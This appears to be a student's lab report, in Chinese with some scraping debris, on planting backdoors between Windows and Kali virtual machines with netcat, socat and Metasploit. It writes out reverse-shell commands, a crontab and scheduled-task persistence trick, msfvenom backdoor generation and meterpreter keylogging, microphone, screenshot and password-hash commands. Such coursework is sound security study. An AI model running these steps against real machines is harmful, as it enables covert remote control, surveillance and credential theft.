一、natcathtml
前期准备,得到主机iplinux
ipconfig
linux:ifconfig
web
Win得到Linux Shell:利用反弹链接,此时win为攻击者,linux为受害者shell
windows 打开监听ncat.exe -l -p 5310
vim
Linux反弹链接winnc 192.168.154.149 5310 -e /bin/sh
windows
windows下得到一个linux shell,可运行任何指令,如lsapi
linux 获取 win的shell:利用反弹链接,此时linux为攻击者,win为受害者网络
kali下监听端口ncat.exe -l 5310
session
win10反弹链接kali ncat.exe -e cmd.exe 192.168.154.146 5310
tcp
linux下得到一个windows shell,可运行任何指令,如ls
nc传数据
Win下监听5310端口ncat.exe -l 5310
,linux链接winnc 192.168.154.149 5310
,随后在Linux输入须要传输的字符
能够发现windows接收到了相同的数据
nc传输文件
Windows启用监听ncat.exe -l 5310
在Kali环境下用crontab -e
指令编辑一条定时任务,初次使用须要选择编辑器,这里咱们选择3,具体区别能够参考博客我的使用vim的一点心得
在最后一行添加18 * * * * /bin/netcat 192.168.154.149 5310 -e /bin/sh
,意思是在每一个小时的第18分钟反向链接Windows主机的5310端口,具体crontab
的用法能够参考博客crontab 详细用法 定时任务
定时任务设定成功
时间到后,windows得到shell
在Windows7系统下,打开计算机管理->任务计划程序->建立任务,填写任务名称后NetSec_Exp2_5310
。
新建触发器,工做站锁定时开始任务(模拟用户不在电脑前),选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5310 exec:cmd.exe,pty,stderr
,这个命令的做用是把cmd.exe
绑定到端口5310
,同时把cmd.exe
的stderr
重定向到stdout
上
建立完成以后,按Win+L
快捷键锁定计算机,解除锁屏后,能够发现以前建立的任务已经开始运行
kali下输入指令socat - tcp:192.168.154.149:5310
成功得到shell
利用MSF生成恶意后门msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.146 LPORT=5310 -f exe > 5310_backdoor.exe
,这里的IP地址为攻击者IP,即kali本机IP
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode. -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。 -e 使用的编码器,用于对shellcode变形,为了免杀。 -i 编码器的迭代次数。如上即便用该编码器编码5次。 -b badchar是payload中须要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口 -f 生成文件的类型 > 输出到哪一个文件
kali下执行,在Windows下执行ncat.exe -lv 5310 > 5310_backdoor.exe
指令,经过-lv选项看到当前的链接状态,在Linux中执行nc 192.168.154.149 5310 < 5310_backdoor.exe
,这里的IP为被控主机IP,即Win7 IP,能够看见文件传输成功(文件大小为73k与生成大小匹配,截图中未能截到,能够经过这个判断是否传输完毕)
在Kali上使用msfconsole指令进入msf控制台
开始输入指令进行设置
输入use exploit/multi/handler
使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload
set LHOST 192.168.154.146
,这里是Kalid IP,即本机IP,和生成后门程序时指定的IP相同
set LPORT 5310
,一样要使用相同的端口
能够用命令show options
确认设置是否正确
输入攻击指令exploit
进行攻击,得到shell
record_mic
截获音频,能够用-d选项设置录制时间,默认2s
keyscan_start
指令开始记录击键,keyscan_dump
指令读取击键的记录,在Windows中输入命名为key
的TXT文件,内容为 Hello World
screenshot
进行屏幕截屏
还有多条指令,可参照下方参数列表,或者本身用help
指令更全面:
meterpreter > help Core Commands第一部分是核心指令 ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values help Help menu info Displays information about a Post module irb Drop into irb scripting mode load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session. transport Change the current transport mechanism use Deprecated alias for 'load' uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands第二部分是文件系统相关的 ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands固然少不了网络操做的了 =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands系统指令 ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands用户接口,能够抓取击键记录 =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Priv: Elevate Commands提权 ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. ***个人win7没成功*** Priv: Password database Commands导出密码文件SAM ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands修改文件操做时间,清理现场用 ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes
有些指令须要打开虚拟机摄像头链接,有些须要进行额外攻击操做,例如win7提权失败提示显示须要进行UAC绕过
socat
命令输错
-
与tcp
中间存在空格要注意msf打开摄像头失败
msf没法链接